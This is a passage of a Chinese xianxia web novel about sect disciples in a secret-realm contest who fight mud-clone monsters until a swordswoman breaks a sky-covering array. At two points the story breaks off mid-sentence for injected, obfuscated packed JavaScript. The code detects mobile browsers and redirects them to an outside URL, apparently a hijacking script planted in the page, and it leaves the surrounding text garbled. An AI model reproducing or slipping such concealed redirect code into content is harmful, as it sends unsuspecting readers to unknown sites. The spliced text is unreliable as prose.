石映心瞧得出她的真心,便不再追问了,听二师兄和她们商量:“既然你们要合作,不如说说你们能派上什么用处?” 姬滢举了举手中的罗盘:“我能帮你们指引灵珠的方向。不过找到灵珠,需四六分,我们四。” 顾梦真摇摇头:“二八。” “二八?”周赫瞪眼道,“你们要得太多了吧?” “可不是这么算的。”顾梦真摆摆手指,“别看现在只是找灵珠打怪的事,等之后临近秘境结束,必然会有弟子之间互相争夺的情况出现。到时候你们三人怀珠其罪、势单力薄,我们归壹派又是浩然正派,也不好见死不救不是?” 天机阁三人互看一眼,各有犹豫,还是姬漓沉吟片刻道:“三七如何?我们在找七年前秘境崩塌的真相,已是有迹可循。若是找到了,愿意拱手相让。不过届时灵珠皆归我们。” 归壹派三人:………… 微风悠悠,吹得她们心里好酸涩。石映心双目放空,曾换月眼神飘忽。 “……三七就三七。”顾梦真艰难一笑,“不过前提是……安心找灵珠。我们没、咳,没兴趣找什么真相。” 姬漓一愣,勾唇一笑:“我想了想,还是四六吧。” 顾梦真:。 见他咬着嘴唇很犹豫,她加大筹码:“可每隔一段时间帮你们起卦是否有人将要揭露真相,以免你们归壹派的魁首被夺。” “……成交!” 都说到这里了,天机阁三人想来也知道所谓真相与谁相关,既然双方都有诚意,那就合作愉快吧。 罗盘上的蜥蜴骨指示的方向倒是与石映心她们先前的路径相同,总之是穿过森林,往怪山走去;林中藏匿了不少凶怪恶兽,借天机阁的方便,一行人总是能精准地找到它们的栖息之处,然后几下斩于石映心的剑下。 有时师兄师妹嚷着说她累了,要她在边上休息,石映心虽然不累,不过也乖乖地站在边上看着,见二人各出宝器符箓,大部分时候是厉害的,烧捆冻劈花样百出,就算不小心出了差错,也有她垫底收尾。 天机阁三人很快就摸清了她们师兄妹三人的相处模式。这会姬滢和顾梦真、曾换月二人在前方制服一只掉入他们先前设下的阵法的虎妖,石映心和姬漓周赫在后边休息。 周赫看着战况,忽然和石映心说:“你们归壹派的法门各式各样,看来最精的还是发家剑法。” 石映心靠着树歇息,手上捏着叶子玩:“你不是我们归壹派的人,你怎么知道?” 周赫笑道:“这是常理,毕竟你们门派原先只是一个剑宗,后来的法门都是从其他仙门学去的,自然没有剑法精明。看你师兄师妹,法器符箓虽厉害,但总会出些差错。” 石映心听不出好赖话,但瞧得见人说话时的情愫,便知道这周赫心里那丝傲慢,瞥他一眼道:“师父领进门,修行靠个人,你没听过吗?学你们的又如何?反正比你们厉害。” 周赫:…… 他没想到这个话少的女弟子一开口还挺不客气,本来见她一直安分跟在她师兄师妹身边,让干嘛干嘛的,以为是个软柿子呢。居然这么理所当然地说什么“学你们的又如何”,听着叫人生气: “欸,你……” “好了师兄。”姬漓却打断他,“她说得也没错。同修功法的人也有天赋之分,勤奋之差。” 周赫噎了一下,声线略低地嘟囔道:“这谁说得准?就是同一宗门里,也有只传谁不传谁的功法,如此不公平怎么算?” 姬漓一愣:“师兄……” 周赫却扯了个笑说“我去看看他们怪杀得如何了”,接着就走了。 石映心没那么没眼力见,自然看得出来二人之间气氛不好,看向姬漓时对方朝她歉疚一笑:“对不住,和你说了些古怪的话。” 石映心也朝她笑了笑:“心里有古怪的人说话自然也会古怪。不过他话是对我说的,心中想的可不一定是我。” 姬漓惊诧地望着她:“石道友……” “师姐快过来!老虎被我烧死了!” “呸,明明是被我的捕兽笼困死的!” “就你这个破笼子……” …… 石映心就没理欲言又止的姬漓,跑过去看死老虎了。 她们从天亮走到天黑,期间还遇到过别组的人,但大概是瞧见她们人多,远远地打个照面就走了。一天忙碌下来,顾梦真数了数灵珠,除去分给天机阁三人的,他们一共攒了89颗。 还没过百呢,若是没有四六分…… 顾梦真数了两回,心里失落起来,不得不怀疑其姬滢的话:就这么分灵珠分下去,她们真能得到魁首? 唉! 抬起眼一看,姬漓姬滢两姐妹正在地上画阵法,说是可以保夜里平安。她们指尖飞出的灵光在草地上刻下一圈焦黑,这会又往中间画图案了。 顾梦真知道小师妹辅修阵法,便问她:“她们画的什么?” 曾换月摇摇头:“不认识,应该是她们天机阁的秘阵。二师兄,就算我们归壹派的阵法是向他们学的,但也只是在一百年前打了个基础,后边就分流了,我现在学的都是归壹派特色主义符丹,你不也是吗?” 顾梦真知道这么回事,但忍不住随口一问嘛。 天黑得瞧不见人,好在顾梦真的木桶丢了火符能燃两个时辰的火,驱散了林中森森的寒气。他们六人分成两批围着火桶相对而坐着,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15675063|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时无言,对望着也尴尬,姬漓提议休息吧,于是几人小范围地分散开来找地方睡。 顾梦真神秘兮兮地拿出一个葫芦来,和两个师妹说:“这是我新炼的星月葫芦,你们去里头睡,里边我做了大卧房,有床有桌子,还有甜甜果。明早我再放你们出来。” 石映心点点头,曾换月却怀疑道:“你这葫芦用过吗?进去不会出不来了吧?” “没用过,专门为了这次秘境大比炼的,我想秘境里肯定不好睡。”顾梦真顿了下,瞧着也不是很确定地说,“不会出不来的。” “没事,”石映心道,“出不来我就把它劈开。” 顾梦真:!? “别呀别呀。”他可怜兮兮道,“这很贵的!” 石映心无害地看着二师兄:“那我们还进去吗?” 顾梦真似乎有些犹豫的,但还是说:“进去吧、进去吧。我喊你们的名字,你们应一声就能进去了。” 曾换月瞪眼:“二师兄,你这不是剽窃《猴子去西天》里的紫金葫芦嘛!那是收妖怪的。” 顾梦真也瞪眼:“怎么能说是剽窃?人家话本里的是假的,我是真的!已经上过据册了,先前没人做过。” “那确实是如此……”曾换月想想也是,能做出来也是二师兄的本事。再说她也想试试只在故事里见过的“我喊一声你敢应吗”,隐隐兴奋道:“师兄你快喊我。” 顾梦真:“换月?” 曾换月:“欸!” 她眨眼变成一道灵光,像转瞬即逝的闪电被收入了葫芦口中。石映心好奇地盯着葫芦,听见里头传来曾换月开心的叫声:“师姐快进来,里面好舒坦!” 石映心点点头,看向二师兄。 “映心!” “哦!” 石映心到了葫芦里,里头就是一个大卧房,和她小时候在二师兄那暂住的屋子很像,大床、木桌,还有摆着甜甜果的书案和放着话本的书格。 换月趴在床上一边看书一边吃甜甜果,她以前也这样过,然后被路过的大师兄说了,让她不要在床上吃东西,于是从那天起她明白了在屋里做坏事要关门。 “师姐,一起看话本啊。” “好。” 顾梦真把葫芦收入储物空间里,打了个哈欠犯困了,便找了棵大树背靠着坐下,脑袋一歪就睡了过去。 天机阁三人见他大变活人,心下虽好奇,但也识趣地没问。 【场外】 慕雲忍不住和大徒弟吐槽:“这小子都带了什么乱七八糟的东西进去?烧火的、抓鱼的,睡觉的?!” 明易安慰师父:“倒是都派上用场了,不过秘境之中危机四伏,夜间能休息好也很重要。” 那倒也是,但慕雲又有些疑惑:“那个什么星月葫芦,拿来收妖制敌不也挺好?” 明易微笑:“收了妖里头的卧房就要乱了。” 大概这家伙一开始就只是为了拿来睡觉,他思路清奇,总喜欢琢磨些奇怪的用途。 慕雲知道自家徒弟的德行,但还是无语笑了。 且不管他们师父师兄怎么说,反正两个师妹是睡了好觉。 22. 第 22 章 一夜过去,天明,秘境大比第二日。 顾梦真把两个师妹从星月葫芦里放出来,还好是成功了,免去破财之灾。简单清醒和收拾过后,六人继续往深山走去。 紧赶慢赶一个上午,又收获了五十颗灵珠。只是越往深处走,凶兽的数量就越少,有一回他们居然去晚了,只见到被杀死的尸体。 看看尸体,又看看前方不远处的深山入口,周赫诧异道:“居然有人比我们还快?” “来路不同吧。”姬滢瞅了会罗盘,抬首朝几人道,“山里更危险。” 曾换月苦了下脸:“这我们都知道的,不过再危险也得去啊。” 姬滢笑了下,又说:“你们要找……你们不找的秘境真相,就在山中的一潭湖水中。” “嘘!”曾换月吓了一跳,左右溜了眼睛,没瞧见人,才小声道,“小心隔墙有耳,别提这个。” 姬滢摇摇头说:“不必担心,真相若是轻易能查明,也轮不到我们这些弟子来卖弄本事;卦象提示,如今能找到的真相不过是一叶障目、略知皮毛。一切皆是时机未到。” 归壹派三人听得云里雾里的,心想什么一叶障目,明明是她们师父乌雲蔽日了;略知皮毛?哎呦,师父说那故事都说了好几回了,要不是她们记性不好忘了、听时又不当回事,至少也是深知皮毛。 “你说的时机……”石映心是为师父忧心的,“什么时候来?是不是要等谁主动认错?” 姬滢年轻的脸上浮现出老成的神秘笑容:“时机并非人可控也。就是我们天机阁的阁主,也无法说清这些机缘巧合。” “说不清啊?”顾梦真挠挠头,“那不说了,赶紧进山吧!但我可记得你们说的魁首是我们的事哈,而且记得很清楚!” “……放心,卦象不会说谎。” 但是卦象只有你们看得懂啊!你们还神神叨叨的,天机阁都是这样的人吗……唉。 顾梦真只当已经上了贼船,硬着头皮往前开了。 几十步走到山口,却见里头天色昏暗,山景森森,像是另一方天地了。天机阁三人识趣地走在了最后寻求庇护。顾梦真站在山口张望了一会,拉住了已经往里边走了两步的石映心,掏出一盏油灯递给她:“辟邪灯,阴邪来了会灭……” 石映心点点头拿过辟邪灯,一转身就迎到山口忽来的一阵幽风,手中的火苗悄无声息地就灭了。 石映心低头一看:? 顾梦真瞪大眼睛:…… 她无辜地把辟邪灯送到二师兄面前。后者接过来,尴尬地说:“额,原来被风吹也会灭啊……” 石映心安慰他:“没事的师兄,寻常的灯都这样。” 顾梦真:………… “你等等啊,我、我再点了给你……” “不必了师兄。”石映心抬了抬手中的剑,语气非常镇定,“我的剑能破邪。” 说的也是哈。 师妹太可靠,顾梦真拿着破灯安心退下了。 六人依次进入山中,仰头望去天色已变,灰蒙蒙中带着黄浊,那条条云好似被人抹了泥沙,太阳大概被藏在哪里,迷茫地散发着光亮,照得山间土黄一片,草绿也不大清新了。 她们警惕而安静地在山里走了一会,山景相似又不同,却是不至于要做标记,但走着走着,渐渐有些晕头转向起来。迎面有一片小林子,幽黑的一团挡在眼前,他们才惊觉天变暗了,像入夜前的昏沉,勉强看清人脸。 “怎么就天黑了?”顾梦真继续拿出他的辟邪灯点燃,“我们没走多久吧……很久了吗?可是一个怪也没碰见……” “才是未时,”姬漓说,“是这山里有古怪,我们继续照罗盘的指引走便是。” 曾换月使劲眨了下眼睛,打了个哈欠道:“唉,我怎么开始困了。” 周赫应和道:“我也有些困,记不清走了多久的路。” “我记得我有提神醒脑符……”曾换月一边打哈欠一边掏出几张符箓来,先是试验地往自己身上一贴,原先昏昏欲睡的双目猛地瞪似铜铃,哈欠也不打了,脑子清明到像吃了芥末般刺激,她连忙把符箓分给他人,“有效、有效!” 抱着对在场唯一符修不得不存在的信任,众人接过符箓往身上一贴,纷纷被刺激得缩脖打颤。顾梦真抹去莫名其妙掉下来的眼泪,忍不住说道:“你这提神醒脑符功效太过了!” 曾换月瞥他一眼:“有用不就行嘛?我可就这几张呢,本来想在早上睡不醒的时候用的,也就两个时辰的效果,我们快趁此机会离开这古怪的大山!” 石映心眼睛都睁不开了,眨了好几下才缓和掉这火辣辣的感觉,她抹掉眼泪拿好剑,“嗯”了一声往前边的林子里走。 眼里糊着泪花,她还有些看不清路,却在迈入林子的一瞬间就察觉到了不对劲,立刻停住步子,朝侧前方道:“谁在那里?” 后边几人立刻紧张起来,瞪着眼睛四处张望,但林中很黑,树木又粗壮,藏个人实在太容易,他们张望了好一会也没见到什么人影,更加不敢轻举妄动。 石映心见暗处的人不出来,提起剑就往前走,一副找到人就要干啥的架势,不过她没走两步,前方无数静止的树干中忽地跳出来一个黑影,一边说话一边朝她们走来:“唉、唉,别动手啊,我就是路过的,看你们人多不敢出来……” 他没有走近,退在几步远之外,几人瞧不起他的脸,透过火光隐隐看到他身上穿的是青色衣袍,便知道是灵兽宗的弟子。 “你怎么一个人在这?”顾梦真问,“你的同门呢?” “都走散了。”那人无奈道,“进了山里之后一转眼就瞧不见人了……我能和你们一道走吗?你们看,我就一人,也对你们构不成威胁……” 顾梦真问了问其他人的意见,天机阁三人无所谓,曾换月说“别和她们抢灵石就好”,石映心“嗯”了一声,她从来是听师兄的话的,起码表现出来是这样。 “行吧,不过你是依附于我们,可分不到灵石。” 那人连 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曾换月也哭了一声:“师姐,你这下把我和师兄整得也挺不是人的,怎么办啊?秘境中不能杀人的……要不你把姬滢她们也杀了吧,死人才能守住秘密……” 天机阁三人:………… 石映心只好把尸体的脑袋提起来给他们看,曾换月尖叫一声捂住脸,从指缝中看见那张面目平凡的脸忽地变成了泥面,所有五官竟是泥土捏的!她师姐抖了抖手,泥块就哗啦啦地掉了下来,连她手中的发丝都变成了泥碎。 木鸡们大惊:“这是怎么回事?” “不知道。”石映心拍拍手上的碎末,摇摇头,“我只zha、看出来他不是人。” “吓我一跳……”顾梦真拍拍受惊的小心脏,“不是人就好、不是人就好……映心啊,下次杀妖怪前能不能先说一声?” 石映心点点头。 曾换月松了口气:“师姐也是为了不打草惊蛇嘛!” 石映心点点头。 另一边,周赫擦了把汗,偷摸地和师妹们传密音:“这三人真的靠谱吗?刚刚那个曾换月说什么死人才能保守秘密……吓死人了,真打起来我们哪里躲得过她师姐的剑?” 姬漓乐观道:“她开玩笑的啦。” 姬滢默了默:“总之卦象是说他们是魁首。” 周赫:“魁首也不一定是好人啊。” 姬漓:“反正现在也逃不掉,而且这山里怪异,走了或许死得更快,我是不能像石映心这么快就认出来者是不是人。” 姬滢:“师兄,我先前同你说过,你这几日有血光之灾。” 周赫:…… 他还是闭嘴抱大腿吧! 小插曲过后,几人继续往林里走,依旧是黑乎乎的寂静,静得叫人心中发慌;好在走着走着就瞧见一泓湖泊,顾梦真眼前一亮,又戒备地问:“那个,这个……” 姬滢说不是。 他便松了口气道:“好,不如我们去湖边休息会?” 大家没意见。 23. 第 23 章 他们来到湖边,顾梦真拿出木桶丢了火符摆在边上,跳跃的火焰照亮了一圈天地,还有几张略带忧色的脸。 石映心抱着剑发呆了会,抬起头问:“什么时候能杀妖怪?” 姬滢看向她:“山里就有妖怪,不过还没遇见。” 顾梦真也发愁:“这样下去不是办法,我们走了这么久,要是一只妖怪都没碰见就出去了,那不是入宝山而空手回吗?”他哪里受得了这个! 姬滢默了默不知道怎么说,她姐姐宽慰几人道:“顾道友别急,或许是只霸山大妖,所以才不见其他小怪,我们再寻寻。” 顾梦真说“好吧,好吧”,看得出来他也没什么办法。 火光贴着木桶,时不时发出一声滋啦。就在这时石映心提意见了:“妖怪不出来,我们可以去找。” 姬漓奇道:“连我妹妹的卜卦都找不到,你要上哪找?” 石映心:“分头找。” “这不好吧?”周赫第一个反对,“这里这么危险,而且我们连妖怪是草是兽都不知道,只瞧见一个泥巴人,如何防备都不清楚……” 石映心站起来说:“怕危险的话,你们就待在一起画圈圈好了,我自己去找。” 姬滢:画圈圈? “映心,”顾梦真拉住她,“你一个人出去,师兄也不放心啊。” “是啊。”周赫也劝道,“就算你的剑法很厉害,但仅凭你个人之力,也不一定能打得过一只霸山大妖吧?再说这是上古秘境,虽是由药神谷重新缔造了,可你也不该轻敌,要我说……” “既然我是魁首。”石映心没耐心地打断无关紧要人士的发言,瞥过天机阁三人,发问道,“为何要听从你们的安排?” 天机阁三人:…… 嘶,那你这么说—— 言尽于此,她也不在意几人的反应如何了,朝她师兄和师妹笑了笑,拿着剑就走了。 姬漓欲言又止地看见她的背影隐入一堆黑乎乎的树干之中,视线又落到了顾梦真和曾换月的身上,虽然没问出口,但那疑惑的眼神很明显是想他们说点什么。 曾换月对上她的目光,摇摇头说:“没用的,师姐想做什么就会去做。” 姬漓:“我看她之前很听你们的安排……” 曾换月:“她想听的时候就会听啊。” 姬漓:。 敢情只是看心情啊? 没了主要输出的剑修,五人也不敢肆意妄动,想着待在这等她回来好了;姬滢已经站起来开始画圈圈了,只是她画到一半,忽然见林中有一个身影跑过来,定睛一瞧,就是刚走一会的石映心。 见她神色慌张地跑来:“师兄,换月,我找到那只妖怪了!你们先跟我走。” 顾梦真二人还未说什么,周赫就指着自己问:“那我们呢?” 石映心:“你们三人先在这等着,人多容易打草惊蛇,那妖怪不同寻常,还需谨慎行事。” 顾梦真连忙道:“好,那你快带我们去!” “跟我走。” 顾梦真跟她跑了两步,不知什么时候变出了一个铁手套戴上,一拳挥出打到石映心的后脑勺,直接给人打倒了。 天机阁三人:oO? 顾梦真踹了一脚地上半死不活的“人”,拳头叉腰道:“我师妹泰山崩于前而面不改色,从来没见她这么慌张过。” 曾换月在边上跳脚:“就是就是!” 二人正嘚瑟着,就见石映心面色苍白地走过来,一手捂着胳膊,指缝里渗出许多血,曾换月大吃一惊,急忙迎上去问:“师姐,是谁伤了你?” 石映心惨兮兮地笑了下,朝地上的“石映心”抬了抬下巴:“就是她伤的我,幸好你们没有着了她的道……” “原来是这样……”曾换月同情地拿出一张符箓来,“师姐,我用生机符给你疗伤。” “好。” 她把生机符往伤处一贴,下一刻那伤口忽地着起火来,石映心愣了一下,连忙用手拍着灭火,但很快她发现头怎么这么热呢?抬眼一看,曾换月不知何时往她头上也贴了张火符,这会烧得正旺呢。 天机阁三人:Oo?? 石映心也瞪大眼睛不可思议地看着小师妹,却见她冷哼一声道:“就你这个破泥人还想伤我师姐?白日做梦!” “石映心”知晓自己暴露,竟无任何反抗,转身往湖里跑去,一跃而下扬起水花。 “搞什么玩意……” 顾梦真和曾换月对视一眼,瞧见了彼此眼中的莫名其妙。不过他们与石映心是青梅竹马的师兄妹,认个真假还是很简单的。当务之急还是要和天机阁的三人、额,四人……嗯?六人? 二人看着变成九个人的天机阁三人,愣在了原地。 这时候不止他们懵了,那九个人也在大眼瞪小眼——夭寿了,她们不过是看个热闹的功夫,回过神来身边就多了好多人啊! 姬滢(不知真假版)第一反应过来,捻诀启动罗盘,只见那只骨蜥蜴飞速转动,她面前漂浮起一圈金光符阵,照得她脸上金光闪闪,符阵越来越大,须臾变得有半人高。 她画符阵的时候边上已经打起来了,真正的姬漓和周赫自然凭符认师妹,皆在她边上护着她,用法术对敌那些泥人怪,不过二人并没有石映心一剑身首分离的本事,偶尔还不小心误伤友军,情况瞧着很是混乱。 “姬漓,你打我做什么!?” “你明明是假的!” “呸,我看你才是假的——” …… 顾梦真和曾换月想帮忙却不知从何下手,生怕打错人,一个拿着铁拳一个拿着符箓,双眼茫然地团团转。 “怎么办啊师兄!” “不知道啊!还是让他们自己打自己吧,打坏了也怪不着我们……” 二人纠结之间,姬滢已经画好了金光符,只见她将符咒往空中一送,那金光符便像朵云似的飘在了上空,姬滢不断输送着法力,就见那符箓越转越快、越转越亮—— “呃!”“啊!” 泥人们纷纷痛苦地叫唤起来,金光照下,宛若灼烧的火焰一般,将这些泥人黏糊糊地熔化了,一滩滩地堆积在地上,流淌到鞋底。 几人见状,纷纷松了口气。 只是这口气还没松完,却见本就昏沉的天色蓦地变得更黑 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这儿一只石映心,那儿一只曾换月,后边紧跟着无数个顾梦真姬漓姬滢周赫……面带微笑地朝伞下的人走来。 顾梦真等人见状,连忙施法打泥巴,能杀一个是一个,但她们的速度哪里比得上泥巴人长起来的速度? “杀不完……”顾梦真捧着铁拳呆呆地摇头,“根本杀不完。” 曾换月抖着手碰了碰姬滢:“姐妹,你你你能不能再来一次刚刚那大招……” 姬滢苦涩道:“施法画阵要时间,哪里赶得上这些泥土变人的速度。我看还是你们想想办法,让石道友快回来吧。” 可她也不知道师姐去哪了啊! 曾换月正想哭,却见迎面而来的那个“石映心”的手上长出一把泥巴剑来,哗哗两下就冲上来要砍人,她吓得大叫一声,平日对师姐剑法的钦佩这时候变成了无法抗拒的可怖,只来得及侧身一闪,碎发却被泥巴剑给砍断了一缕。 这泥巴真厉害,曾换月惊叫:“师姐救命啊!!” 砰。 一片混乱中她好似听见有什么东西砸在了伞面上,曾换月抬眼看去,瞧见伞面上凸下来一个很浅的幅度,下一刻她面前的“石映心”就身首分离了,脸上甚至还带着那抹诡异的微笑。 石映心(真人版)如从天降,一手举着一片大叶子当伞,一手拿着剑在空中划出一道道剑光,她像一个在凡间面馆削了十年面块的冷酷庖厨,每一剑都能落到实处、歘歘歘削下一颗颗脑袋来,技艺如此精湛,叫人惊叹。 “映心!” “石道友!” 那五人这时候觉得她跟天神下凡也没啥区别。 趁着师妹打怪,顾梦真把伞变大变高,直到有一间屋子那么宽敞,他在中间施法顶着伞,其余几人分散开来去帮石映心的忙。 这是一场恶心又黏糊的战役,好在也不是不能对付,大概忙活了一刻钟之后,天上的泥雨停了,落脚处已是满地泥泞。 杀完了泥人,石映心坐在剑上飞在空中不肯下来,给自己和剑念了好多次澄净诀。 顾梦真一边处理伞上的泥块一边问师妹她去哪了。 24. 第 24 章 “哪里也没去。”石映心摇摇头,“我只是想,这些泥怪可能是见我厉害才不敢来,所以躲一躲。” “嘿。”顾梦真笑道,“你还挺聪明。” 天机阁三人刚刚都受了一些伤,周赫见坐在剑上安然无恙、神色轻松的女人,心里有些不高兴:“石道友,就是想诱敌深入,你也来得太晚了点。” 石映心这才把目光投向他,见他一身狼狈,用了澄净诀也掩饰不住破败的衣裳,乱糟糟的头发,瞧着是有一些可怜,于是她道:“你再厉害点我就不算来得晚了。” 周赫:…… 这下连姬漓两姐妹也忍不住憋笑了。 “咳。”姬漓正色道,“此地不宜就留,这些泥人疑似杀之不尽,我们还是快走吧!” 姬滢:“那个……” 顾梦真连连同意:“我正想这么说……” 石映心:“可是我还没杀了霸山大妖。” 姬滢:“其实……” “算了算了,”顾梦真劝师妹,“也许根本没什么霸山大妖,只是此地风水不祥,天灾不断……对,上古时期不就是这样?洪水泛滥、大地崩裂,哪是人能控制的?我看我们还是赶紧走吧!” 石映心:“可是……” 姬滢:“可是……” 几人:? 姬滢顿了顿,朝总算听她说话的大伙惨淡一笑,伸出手指了指地下:“我们好像走不了了。” 低头看去,原本的草地不知何时变成了泥潭,几双脚已经陷到脚腕了,大家大惊失色,石映心连忙要去拉小师妹上剑,曾换月脚一抬,里头却冒出一只泥手来抓住了她的脚。 曾换月:“啊!!” 她连忙弃鞋而逃,躲到了石映心的剑上。 顾梦真拿出了大鹏展翅,也是丢了鞋子才堪堪爬上去,但剩下的天机阁三人就不知道来不来得及了,姬漓和周赫想先把姬滢送上去,但二人把人往上拔一分,自己就往下陷一寸,三人都急得面目狰狞。 顾梦真正想去帮忙,突然想到什么,掏出他的宝贝葫芦来:“我叫你们一声,你们要应我!” 三人虽莫名,但好在听话,很快就进到了葫芦里。 顾梦真瘫坐在大鹏展翅上,狠狠地松了口气,听见葫芦里传来周赫的叫声:“顾道友,多谢你救命之恩!” “唉,顺口的事。”顾梦真心累地擦了把汗,对两个师妹说,“快出去吧,现在连路都走不了了,等会要是再下起泥雨来,那真是一塌糊涂了!” 曾换月说好啊好啊我们快走吧。 石映心却不做声地看了看底下的泥潭,又抬首望了望黑中带黄的天空,脑袋从左转到右,似乎把能看的地方都看尽了。这么之后她说:“换月,你去二师兄葫芦里吧。” 曾换月诚恳道:“师姐,我在你剑上也挺舒服。” “……我要用剑。” 顾梦真听着很不妙,苦着脸问:“映心,你想干什么?” 石映心的神色一本正经:“泥水从天上来,我要去把天劈开看看。” 她师兄妹:…… 葫芦里三人:…… 她居然异想天开地想去开天,几人一时都被她的豪言壮语惊沉默了。还是顾梦真先苦巴巴道:“好吧,那你去上面玩一圈就回来吧,师兄在这里等你。” “……师姐你小心哦。”曾换月也爬到了大鹏展翅上。 葫芦里的三人没有话语权。 石映心:“好。” 她师兄妹二人使劲地仰着脑袋看她御剑往天上飞去,很快就隐入了黑黄的云层,什么也瞧不见了。担心她似乎是件徒劳的事,二人惘惘地望了会,回过神来时发现底下的泥潭咕噜噜地沸腾了起来,仿佛有火在烧。 “……怎么回事?” 石映心在云层里飞了会,打退了几只奇形怪状的泥怪,还算顺利地来到了云层之上。抬头一看,天高高的触不可及,但那诡异的黑黄天色似要压到她身上来了。转脑袋望一圈,云遮住了所有景色,只能瞧见长出云上的那些怪山的山尖。 她觉得这里……有些熟悉。 这里是师父捡到她的秘境,虽然现下所处是药神谷的仿制版。难道这股熟悉和这事有关? 她一般不多想这些想不通的问题,很快琢磨起来要用什么招式劈天:新学的金丹后期剑式?师父的呼风唤雨之术?还是…… 寒风呼呼,打在她脸上一片粗糙的泥粒。石映心仰头望天,天看起来比她们归壹派的过梦涯还要深,她黝黑的瞳孔一瞬间变换了颜色,仿若两片镜面一般照映了天色,窥探着天意。 原来是这样。 她扭头看向周边远远的山峰,乱七八糟的山势似乎像被人大刀阔斧地劈开了——难道这是前人留下的暗示?示意她要顺着这些痕迹劈上天去? 不…… 石映心在脑海里浮现出自己顺势劈山的每一剑,她并未轻举妄动,不过是将所有山势都过了一遍,手心的剑已是蠢蠢欲动,她抬起眼来,先是试探地使了几招……不对,顺序不对。 这样呢?也不对。 从这开始……还是不行。 奇怪。 她举着剑糖葫芦,立在原地发呆了一会。正想再试一次,侧头瞥见指着天的剑尖,很不明显地隐隐颤抖。 石映心:? 这把剑在害怕? 有什么好怕的呢,她是来劈天的,该害怕的是天才对……嗯? 石映心似福至心灵,攥紧了剑柄,猛地往上一刺——只听“轰”的一声,像是天威发怒,雷电伴着滚滚黑云黄云席卷而来,直冲她的剑尖!这绝对是被挑衅后的威胁。 石映心感到剑的惧怕,但她不怕,将无数灵气覆盖在剑身上后,她脸上扬起一抹势在必得的微笑—— 威胁就是露怯,露怯就是破绽,她知道正确的剑式是如何了,就差这直搅黄天的第一招! 机不可失,她趁这天啊云的还在蓄势,飞在云层之上就舞起她刚悟的剑式来,无数黑云黄云朝她撞去,用滚滚的泥沙阻碍她,但却被剑风挡在外头无法逼近,雷电打在她的脚边,她仿若未觉,月白色衣袍带过剑光,比云还像云。 “上面发生什么了?” 因为泥潭翻滚,顾梦真就让大鹏展翅飞高了一些,这会能远远看见上头又是云海翻涌又是雷电大作的,不得不担心起师妹:“映心呢?你看见映心了吗?” “没啊。”曾换月也着急:“要不我们飞近看一看?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|15696306|173054||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顾梦真正想应好,忽地整个人一颤,是大鹏展翅歪了,他急急稳住身形低头望去,那泥潭……不,已经不能叫潭了,那泥已经淹没了树顶,下方俨然是一片泥海! 糟了,赶紧往上飞啊! 但大鹏展翅不知何时已被泥潭缠上,顾梦真使劲施法让其往上,竟然无法挪动半寸,曾换月着急地往外边掏符箓,一张张的选不定要怎么用。但泥海并不等人,本就汹涌的海面上猛地掀起大浪,二人眼睁睁地瞧着那灭顶之泥罩了下来—— “轰!轰!轰——” 却在此时,空中的密云破开了一道口子,紧接着两道、三道,四道……数不清多少道剑光闪过,将云彩砍得七零八落,破口之间投下天光,虽不明亮,亦有奇异光彩。 夹缝之间,仿佛能瞧见一道飞跃的月白色人影,剑舞翩翩,猝然将剑往空中一指,刹那间有刺眼的光线从剑尖迸发出,比电光更亮、比雷鸣更响,竟直冲天际,光芒万丈地照开了昏沉的天色——天真的破了。 云开日出,泥过天晴。 石映心瞧见天色变成了世间寻常的模样,瞧着已是黄昏过后,霞光照得她睁不开眼睛;底下的黑云黄云也都散尽了,这才将剑收了回来,一时有些晕晕乎乎,飞也飞不动了,就御剑打坐歇息,缓了好一会才想起来师兄说的“玩一圈就回来”。 她叹了口气往下飞去,先是瞧见了大片大片的狼藉,树倒叶散,处处像被泥流扫荡过一般狼狈不堪;再往下飞一点,瞧见地上横七竖八地躺着许多人,白的蓝的绿的黄的,现在都是泥色的……皆是各仙门的弟子,身上全是脏兮兮的泥污。 奇怪,刚刚上天的时候没瞧见有这么多人啊。 这样她不好找师兄师妹。 【场外】 秘境之门外很热闹,众弟子们指着宝镜中的景况议论纷纷: “刚刚云上发生了何事,这山中奇阵居然就这么破了?” “不知道啊,就见那个剑修飞了上去,也瞧不清做了什么,怎么就破阵了?” “似有几道雷光闪过。” “是剑光吧?威力骇人那!” “不愧是归壹派的剑修……” 长老席中,天元仙尊乐呵呵地对慕雲道:“哎呀,没想到连当年各大仙门炼虚期的大能都破不了的阵法,居然就给你的徒儿、我的徒孙,我们归壹派的弟子石映心给破了,真是出人意料啊!哈哈哈^^……” 慕雲压着笑意谦虚道:“嗐,也是这孩子走运,不然她一个金丹期的小剑修,哪里比得过当年那几位法术高强的前辈呢?” 听这对师徒怪声怪气的其他仙门长老:………… 气氛一时有些尴尬,大家似乎都有白眼要翻,还是琼华宫的副宫主芈玉瑶笑了声:“看来剑法才是这破阵之要,七年前若是有归壹派的剑修同去,或许能多揭开一层秘境真相。就是不知这阵法之后藏着如何的奇珍异宝,想想也是可惜。” 这话一出,就差没把“小气坏大事”几个字打在药神谷谷主落桦脸上了。 落桦谷主气得脸绿,心想他药神谷发现的秘境,难道让谁进去还不是他们说得算?然人家也只说“可惜”,没一句明面上的责怪,他还真不好反驳什么。 25. 第 25 章 天机阁阁主妙望朝慕雲一笑:“归壹派真是人才辈出,看来我徒的卦象无错。” 什么卦象大家都知道。 